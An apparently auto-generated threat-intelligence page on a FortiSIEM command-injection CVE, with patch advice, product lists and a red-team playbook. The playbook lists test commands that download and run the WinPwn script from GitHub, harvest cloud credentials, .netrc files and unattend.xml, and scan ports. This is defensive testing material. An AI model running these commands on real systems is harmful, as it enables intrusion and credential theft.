CVE-2024-23109
Overview
This vulnerability is a command injection flaw rooted in improper neutralization of special elements within Fortinet FortiSIEM's API request handling. Specifically, crafted API inputs are not adequately sanitized before being passed to operating system commands, allowing unauthorized command execution. The affected component is the FortiSIEM API interface responsible for processing external commands.
Vulnerability Description
An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet allows attacker to execute unauthorized code or commands via via crafted API requests.
Impact
An unauthenticated attacker with network access can exploit this flaw to execute arbitrary operating system commands on the FortiSIEM server with elevated privileges. This permits full system compromise, including data exfiltration, service disruption, and lateral movement within the network. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates no authentication or user interaction is required, increasing the likelihood of remote exploitation and severe operational impact.
Solution
Fortinet has released security updates addressing this vulnerability as detailed in their advisory FG-IR-23-130, accessible at https://fortiguard.com/psirt/FG-IR-23-130. Users of Fortinet FortiSIEM should apply the latest vendor-supplied patches immediately. The advisory provides version-specific fixes and instructions to mitigate the command injection risk. No alternative workarounds are recommended beyond applying the official patches.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Fortinet's security information and event management (SIEM) product arises from improper neutralization of special elements used in operating system commands, leading to an os command injection flaw. This type of vulnerability occurs when an application fails to adequately sanitize user input, allowing an attacker to execute arbitrary commands on the host operating system. In this case, crafted API requests can be manipulated to inject malicious commands, which the system may execute with the privileges of the application. This flaw highlights a critical oversight in input validation and command execution processes, which are fundamental to maintaining the integrity and security of software applications.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the manipulation of API requests sent to the affected Fortinet products. An attacker could craft a request that includes malicious payloads designed to execute system commands. For instance, if an API endpoint is designed to accept user input for system configuration, an attacker could exploit this by injecting commands that perform unauthorized actions, such as accessing sensitive data, altering system configurations, or even launching further attacks on the network. The ease of exploitation, combined with the potential for significant impact, makes this vulnerability particularly concerning for organizations relying on Fortinet's solutions for their cybersecurity infrastructure.
The real-world implications of this vulnerability are profound, particularly for organizations that utilize Fortinet's SIEM products to monitor and respond to security incidents. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, or even complete system compromise. The business risks associated with such an incident include reputational damage, financial loss due to operational downtime, and potential legal ramifications stemming from data breaches. Moreover, the high CVSS score of 9.8 indicates that the vulnerability poses a critical risk, necessitating immediate attention from security teams to mitigate potential threats.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching Fortinet products is essential to ensure that any known vulnerabilities are addressed promptly. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of behavior indicative of exploitation attempts. Organizations should also enforce strict input validation and sanitization practices for all API endpoints, ensuring that any user-supplied data is thoroughly checked before being processed. Furthermore, conducting regular security assessments and penetration testing can help identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the os command injection vulnerability in Fortinet's SIEM products represents a significant threat to organizations that depend on these systems for their cybersecurity operations. The potential for unauthorized command execution poses serious risks, including data breaches and operational disruptions. By prioritizing detection and mitigation strategies, organizations can enhance their security posture and protect against the exploitation of such vulnerabilities. Continuous vigilance and proactive measures are essential in safeguarding sensitive information and maintaining the integrity of critical systems in today's increasingly complex threat landscape.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-23109, with new telemetry indicating emerging attempts to exploit the Fortinet FortiSIEM vulnerability via crafted API requests. Although the overall exploit landscape remains without new public proof-of-concept code, the increase in detection events signals growing adversary interest and potential preparatory actions for more widespread exploitation. This uptick is significant because it suggests threat actors are actively probing or testing this critical vulnerability, increasing the likelihood of imminent attacks that could lead to unauthorized command execution and severe operational impacts. While the EPSS score remains stable, the qualitative surge in sightings elevates the urgency for defenders to monitor their environments closely, as the threat level has shifted from theoretical to actively observed. This development underscores the necessity for heightened situational awareness and reinforces the vulnerability’s critical status within the current threat environment.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortisiem | All |
cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | All |
cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | All |
cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | All |
cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | All |
cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | 7.1.0 |
cpe:2.3:a:fortinet:fortisiem:7.1.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortisiem | 7.1.1 |
cpe:2.3:a:fortinet:fortisiem:7.1.1:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-23109 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-130 |